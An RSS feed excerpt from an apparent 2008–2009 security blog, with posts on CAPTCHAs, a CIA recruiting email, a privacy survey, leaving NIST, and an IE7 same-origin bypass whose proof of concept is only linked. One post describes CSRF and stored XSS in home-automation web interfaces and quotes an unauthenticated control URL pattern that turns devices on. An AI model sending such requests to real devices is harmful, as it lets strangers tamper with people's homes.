    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/fbwviKXNIgU/CAPTCHAs%3A-Usually-better-when-it-works</link>
    <guid isPermaLink="false">urn:md5:0a446188b27bdc7d42777c3f5dd54cfd</guid>
    <pubDate>Sun, 18 Jan 2009 19:38:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
        <category>CAPTCHA</category>    
    <description>&lt;p&gt;Some time ago, I was amazed by &lt;a href="http://rgaucher.info/post/2008/05/10/Oh-please-stop-it-with-these-ridiculous-CAPTCHAs"&gt;the
difficulty of a CAPTCHA implemented by rapidshare&lt;/a&gt;. Well, today I came
across one which is even worse. We all know that using a &lt;a href="http://en.wikipedia.org/wiki/CAPTCHA"&gt;CAPTCHA&lt;/a&gt; is very bad on a usability
point of view, but without them, spammers would easily add junk in your
database. But it's even worse when the CAPTCHA software is not working
properly...&lt;/p&gt;
&lt;img src="http://rgaucher.info/pub/captcha_usability.jpg" alt="" /&gt;&lt;br /&gt;
&lt;p&gt;Sure you won't get any spammers here... nor regular users.&lt;/p&gt;
&lt;p&gt;Just to avoid confusion or misinterpretation, even if you refresh/clear
cache/etc. you will get this message. And no, 'ERROR' is not the solution of
the CAPTCHA. Hope that &lt;a href="http://www.PhishTank.com"&gt;phishtank&lt;/a&gt; will
fix that soon...&lt;/p&gt;
&lt;p&gt;We see many different CAPTCHA on the web, some are good, some not. I do not
know why people keep developing their own &lt;em&gt;simplistic&lt;/em&gt; CAPTCHA when
there is a good services line the one provided by &lt;a href="http://recaptcha.net"&gt;reCAPTCHA&lt;/a&gt;. This CAPTCHA is pretty solid and also
adds audio version (way better for accessibility).&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=hKZmSw12"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=6qKXzCw9"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=6qKXzCw9" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=3yuwtouL"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=3yuwtouL" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=EBWoWRtP"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=juCrngE6"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=04z1o2QO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=04z1o2QO" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=80gJJQYM"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/fbwviKXNIgU" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2009/01/18/CAPTCHAs%3A-Usually-better-when-it-works#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2009/01/18/CAPTCHAs%3A-Usually-better-when-it-works#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/132</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2009/01/18/CAPTCHAs%3A-Usually-better-when-it-works</feedburner:origLink></item>
    
  <item>
    <title>CIA spamming security groups: Be a part of a mission that’s larger than all of us.</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/cF7ryPW0wEE/CIA-spamming-security-groups%3A-Be-a-part-of-a-mission-thats-larger-than-all-of-us</link>
    <guid isPermaLink="false">urn:md5:926b30718bac6ece91a0576e09789895</guid>
    <pubDate>Tue, 13 Jan 2009 10:01:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>CIA</category><category>News</category>    
    <description>&lt;blockquote&gt;
&lt;p&gt;Hello Romain,&lt;/p&gt;
&lt;p&gt;The Central Intelligence Agency would like you to consider a career with the
National Clandestine Service. The CIA’s National Clandestine Service seeks
qualified applicants to serve our country’s mission abroad. Our careers offer
rewarding, fast-paced, and high impact challenges in intelligence collection on
issues of critical importance to US national security. Applicants should
possess a high degree of personal integrity, strong interpersonal skills, and
good written and oral communication skills. We welcome applicants from various
academic and professional backgrounds. Do you want to make a difference for
your country? Are you ready for a challenge?&lt;/p&gt;
&lt;p&gt;All applicants for National Clandestine Service positions must successfully
undergo several personal interviews, medical and psychological exams, aptitude
testing, a polygraph interview, and a background investigation. Following entry
on duty, candidates will undergo extensive training. US citizenship required.
An equal opportunity employer and a drug-free work force.&lt;/p&gt;
&lt;p&gt;For more information and to apply, visit: www.cia.gov&lt;/p&gt;
&lt;p&gt;You can make a world of difference.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Com'on guys, I'm not even US citizen... So yeah, CIA is looking for security
guys by spamming on linkedin groups. Anything wrong in that process?&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=uzKNMSsa"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=IT60jaMP"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=IT60jaMP" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=NYuIyyqG"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=NYuIyyqG" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=aOUJu8KO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=o6uj9Cn5"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=P4opaCfg"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=P4opaCfg" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=FadeHDLC"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/cF7ryPW0wEE" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2009/01/13/CIA-spamming-security-groups%3A-Be-a-part-of-a-mission-thats-larger-than-all-of-us#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2009/01/13/CIA-spamming-security-groups%3A-Be-a-part-of-a-mission-thats-larger-than-all-of-us#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/131</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2009/01/13/CIA-spamming-security-groups%3A-Be-a-part-of-a-mission-thats-larger-than-all-of-us</feedburner:origLink></item>
    
  <item>
    <title>SSL Fails! SSLFail.com</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/hS6FCMZPCHk/SSL-Fails-SSLFailcom</link>
    <guid isPermaLink="false">urn:md5:28e4aaf8260da115a309a845c17b44e9</guid>
    <pubDate>Tue, 13 Jan 2009 07:17:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
        <category>link</category><category>SSL</category><category>Tech</category>    
    <description>&lt;p&gt;&lt;a href="http://www.tssci-security.com/"&gt;Marcin&lt;/a&gt; and &lt;a href="http://www.computerdefense.org/"&gt;Tyler&lt;/a&gt; just started a new website, which
is kind of fun: &lt;a href="http://sslfail.com"&gt;sslfail.com&lt;/a&gt; (wall of shame of
SSL certificates?)&lt;/p&gt;
&lt;p&gt;So now, Google &amp;amp; co, fix your certificates :P&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=jgmbhg5u"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=UA4gQzNQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=UA4gQzNQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=9CsvkZX5"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=9CsvkZX5" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=TGh3pNiN"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=adujPLEG"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=T6gpLrfh"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=T6gpLrfh" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=SmAhiNgM"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/hS6FCMZPCHk" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2009/01/13/SSL-Fails-SSLFailcom#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2009/01/13/SSL-Fails-SSLFailcom#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/130</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2009/01/13/SSL-Fails-SSLFailcom</feedburner:origLink></item>
    
  <item>
    <title>Every-day's CSRF: Sorry, I turned off your christmas tree lights</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/UKmcfmCpzJs/Every-days-CSRF%3A-Sorry-I-turned-off-your-christmas-tree-lights</link>
    <guid isPermaLink="false">urn:md5:0003c10c1ea2e2b42c24ed8fd12dc877</guid>
    <pubDate>Tue, 09 Dec 2008 14:05:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Vulnerabilities</category>
        <category>France</category><category>Google</category><category>javascript</category><category>link</category><category>malware</category><category>XSS</category>    
    <description>&lt;p&gt;Today, a friend of mine was really proud to show me the &lt;a href="http://en.wikipedia.org/wiki/Home%20Automation"&gt;Home Automation&lt;/a&gt;
installation he just bought. Well, since he lives in France and I am in DC, he
showed me the web interface that was able to control the lights etc. in his
house. As he wanted to test this domotic system, he only plugged his Christmas
tree lights on the system.&lt;/p&gt;
&lt;p&gt;Well, maybe I'm only seeing bad stuff around me, but... &lt;a href="http://en.wikipedia.org/wiki/D%C3%A9formation%20professionnelle"&gt;Déformation
professionnelle&lt;/a&gt; we'll say! It was so easy to make it blinking with a simple
script that I showed it to him. So well, every 5 seconds, it would change the
state.&lt;/p&gt;
&lt;p&gt;Anyway, this &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;CSRF&lt;/a&gt; is not a big
deal for him since it's only the Christmas tree lights, it's only a temporary
installation and well, it's fun. But after a simple google search, I found
another site like my friend's. The URL that Google return is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;http://XXX.XXX.XXX.XXX:88/control_exe.htm;3;1;ON&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which is basically turning on some device... :)&lt;/p&gt;
&lt;p&gt;Also, not only this application has tons of CSRF, but also a nice stored XSS
which let you do whatever you want with it! And btw, since the Google Robot
reported this, it means that every time that it crawls the website (or at
least, reaches that particular URL), it will set the device ON :)&lt;/p&gt;
&lt;p&gt;Web security enters your house, f34rs!&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=H45HBXP0"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=9D65sbIW"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=9D65sbIW" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=cMDmPbuf"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=cMDmPbuf" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=iA5lAEwH"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=1BDOkErm"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=8jD4IhXk"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=8jD4IhXk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Y81HdzEr"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/UKmcfmCpzJs" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/12/09/Every-days-CSRF%3A-Sorry-I-turned-off-your-christmas-tree-lights#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/12/09/Every-days-CSRF%3A-Sorry-I-turned-off-your-christmas-tree-lights#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/129</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/12/09/Every-days-CSRF%3A-Sorry-I-turned-off-your-christmas-tree-lights</feedburner:origLink></item>
    
  <item>
    <title>IE7, no Same Origin Policy when the script/file is on your file system</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/vVB-TosL7IQ/file-is-on-your-file-system</link>
    <guid isPermaLink="false">urn:md5:fce2b7dc71603b12c5b953c08ac1df97</guid>
    <pubDate>Fri, 05 Dec 2008 10:45:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Internet Explorer</category><category>JavaScript</category><category>link</category><category>News</category><category>SEO</category><category>tricks</category>    
    <description>&lt;p&gt;It's been such a long time since I haven't posted here. I've been quite busy
with the new job at &lt;a href="http://www.cigital.com"&gt;Cigital&lt;/a&gt; and all the
implication.&lt;/p&gt;
&lt;p&gt;Anyway, this morning, a collegue of mine show me a piece of javascript he
used for create a request to another website (actually, this was just to do a
javascript what I did in Python previously). This totally bugged me. He has
been able to craft a request (using XHR) from a local file to a distant
website... WTF with &lt;a href="http://en.wikipedia.org/wiki/Same_origin_policy"&gt;SOP&lt;/a&gt;? After some tests, it
seems it's only working with IE7, but well, I didn't test with many browser,
only with Firefox 3, Chrome, IE7.&lt;/p&gt;
&lt;p&gt;So, I have no idea if this is known for a long time or not, but well, I
haven't seen this before.&lt;/p&gt;
&lt;p&gt;A simple POC is available here: &lt;a href="http://rgaucher.info/pub/xhr_SOP_ie7.html"&gt;xhr_SOP_ie7.html&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=jM31QqYO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=DSuOR0GZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=DSuOR0GZ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=10VjP4Bg"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=10VjP4Bg" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=tuCNs7Pg"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=V8UOKeBF"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=JPaSroJO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=JPaSroJO" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=GstyKmKr"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/vVB-TosL7IQ" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/12/05/IE7-no-Same-Origin-Policy-when-the-script/file-is-on-your-file-system#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/12/05/IE7-no-Same-Origin-Policy-when-the-script/file-is-on-your-file-system#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/128</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/12/05/IE7-no-Same-Origin-Policy-when-the-script/file-is-on-your-file-system</feedburner:origLink></item>
    
  <item>
    <title>Internet User Privacy Values Survey</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/QANgBmc5jiE/Internet-User-Privacy-Values-Survey</link>
    <guid isPermaLink="false">urn:md5:688a3ed699fedc66adc27f16812979de</guid>
    <pubDate>Thu, 25 Sep 2008 09:01:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>blog</category><category>Google</category><category>News</category>    
    <description>&lt;p&gt;I know how tough and crucial it is to get participants to a survey, so that
would be great if you guys could take this and spread it a little bit
more...&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Researchers at ThePrivacyPlace.Org are conducting an online survey about
privacy policies and user values. The survey is supported by an NSF ITR grant
(National Science Foundation Information Technology Research) and was first
offered in 2002. We are offering the survey again in 2008 to reveal how user
values have changed over the intervening years. The survey results will help
organizations ensure their website privacy practices are aligned with current
consumer values.&lt;/p&gt;
&lt;p&gt;The URL is: &lt;a href="http://theprivacyplace.org/currentsurvey"&gt;http://theprivacyplace.org/currentsurvey&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We need to attract several thousand respondents, and would be most
appreciative if you would consider helping us get the word out about the
survey, which takes about 5 to 10 minutes to complete. The results will be made
available via our project website (http://www.theprivacyplace.org/).&lt;/p&gt;
&lt;p&gt;Prizes include $100 Amazon.com gift certificates sponsored by Intel Co. and
gifts from IBM and Blue Cross and Blue Shield of North Carolina&lt;/p&gt;
&lt;p&gt;On behalf of the research staff at ThePrivacyPlace.Org, thank you!&lt;/p&gt;
&lt;/blockquote&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Soqdw4ND"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=t1I1QjLE"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=t1I1QjLE" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Gz1tlnho"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=Gz1tlnho" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=q2hEAHOT"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=vTRDYh9m"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=umLNFGrT"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=umLNFGrT" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=7sVSolhB"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/QANgBmc5jiE" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/09/25/Internet-User-Privacy-Values-Survey#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/09/25/Internet-User-Privacy-Values-Survey#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/127</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/09/25/Internet-User-Privacy-Values-Survey</feedburner:origLink></item>
    
  <item>
    <title>Last week at NIST</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/88De6YH6yjY/My-last-days-at-NIST</link>
    <guid isPermaLink="false">urn:md5:4a58700dff7e15d772a0c126849b4afb</guid>
    <pubDate>Tue, 23 Sep 2008 17:12:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
        <category>France</category><category>News</category><category>SAMATE</category><category>SATE</category>    
    <description>&lt;p&gt;Every good things have an end... this is the time for me to leave NIST. So I
will be a security consultant at &lt;a href="http://cigital.com"&gt;Cigital,
Inc.&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I've been working at NIST for 2 years and a half as a Guest Researcher in
the &lt;a href="http://samate.nist.gov"&gt;SAMATE Project&lt;/a&gt;. I originally came at
NIST to do mostly statistical analysis or so, but it changed a lot! I started
by building the &lt;a href="http://samate.nist.gov/SRD"&gt;SAMATE Reference
Dataset&lt;/a&gt; website and this is how I started to learn about &amp;quot;security&amp;quot;, but
working with flawed source code. This was very obscure to me (I guess like
everybody computer scientist specialized in applied mathematics) and I learned
a lot about weaknesses, vulnerabilities, &amp;quot;how to find them?&amp;quot;, scanners etc.&lt;/p&gt;
&lt;p&gt;My first real security related work was about the &lt;a href="http://samate.nist.gov/docs/webapp_scanner_spec_sp500-269.pdf"&gt;Web Application
Security Scanner Specification&lt;/a&gt; and then, design a way of testing the web
apps scanners:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;test suite with seeded vulnerabilities&lt;/li&gt;
&lt;li&gt;checking the types of attacks&lt;/li&gt;
&lt;li&gt;trying to explain the false-negative of the tools by a monitoring of
what/where the scanner went in the application at a logical level, such as &amp;quot;did
the tool logged in successfully? did it generate a couple of errors, did it try
many times?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The goal of the 3 components based analysis is to really be able to
understand what the tool is doing, if it didn't find a particular
vulnerability, why?&lt;/p&gt;
&lt;p&gt;One of the best moments I had at NIST was when we did the &lt;a href="https://samate.nist.gov/index.php/SATE"&gt;Static Analysis Tool Exposition&lt;/a&gt;. I
was part of the organizers and from the beginning, it was a real challenge:
choosing good test cases, criteria to evaluate the reports, etc. Of course,
SATE 2008 was not perfect, we did many mistakes, but at least, we tried, we had
some results and we learned a lot. I have good hopes for the next SATE, even
though this is really challenging on many aspects:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Not make people think/act like this is a competition (we sometimes see
people claiming they won SATE 2008, but... well, there would be many things to
say to them)&lt;/li&gt;
&lt;li&gt;Having a strong evaluation criteria (I guess this is challenging every time
human assessment is part of the game)&lt;/li&gt;
&lt;li&gt;Solve the way to present data to the evaluators. We couldn't have the GUI
of the tools etc. so our analysis (as an evaluator) was really limited and we
sometimes had to guess what was the exact weakness report&lt;/li&gt;
&lt;li&gt;and finally, having more resources and help for evaluating the weaknesses
reported by the tools (47k this year, one month to evaluate...)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Oh well, I will of course continue to follow what the SAMATE team is doing,
even though I will be away and busy with other interesting stuff and I'm really
looking forward to see the results of the current study we are running on the
function-wise weakness characterization.&lt;/p&gt;
&lt;p&gt;But for now, it's time for me to get some vacation, going back to France for
almost one month, getting my worker visa etc.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=NTLhSV7L"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=4t1LTD4n"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=4t1LTD4n" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Flr3JSpI"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=Flr3JSpI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=0tR4QF0B"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=RrG9wQt1"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=JxdPb2Sw"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=JxdPb2Sw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=2VXnShVE"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/88De6YH6yjY" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/09/23/My-last-days-at-NIST#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/09/23/My-last-days-at-NIST#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/126</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/09/23/My-last-days-at-NIST</feedburner:origLink></item>
    
  <item>
    <title>Scalp 0.4: apache log based attack analyzer, updated</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/WtKlGucoLc0/Scalp-04%3A-apache-log-based-attack-analyzer-updated</link>
    <guid isPermaLink="false">urn:md5:657c4b78b4e82dff609c5c5c8eec46e6</guid>
    <pubDate>Tue, 16 Sep 2008 18:27:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>apache</category><category>log</category><category>scalp</category><category>Scalp</category>    
    <description>&lt;p&gt;&lt;a href="http://rgaucher.info/post/2008/07/18/Scalp:-apache-log-based-attack-analyzer-using"&gt;Some time
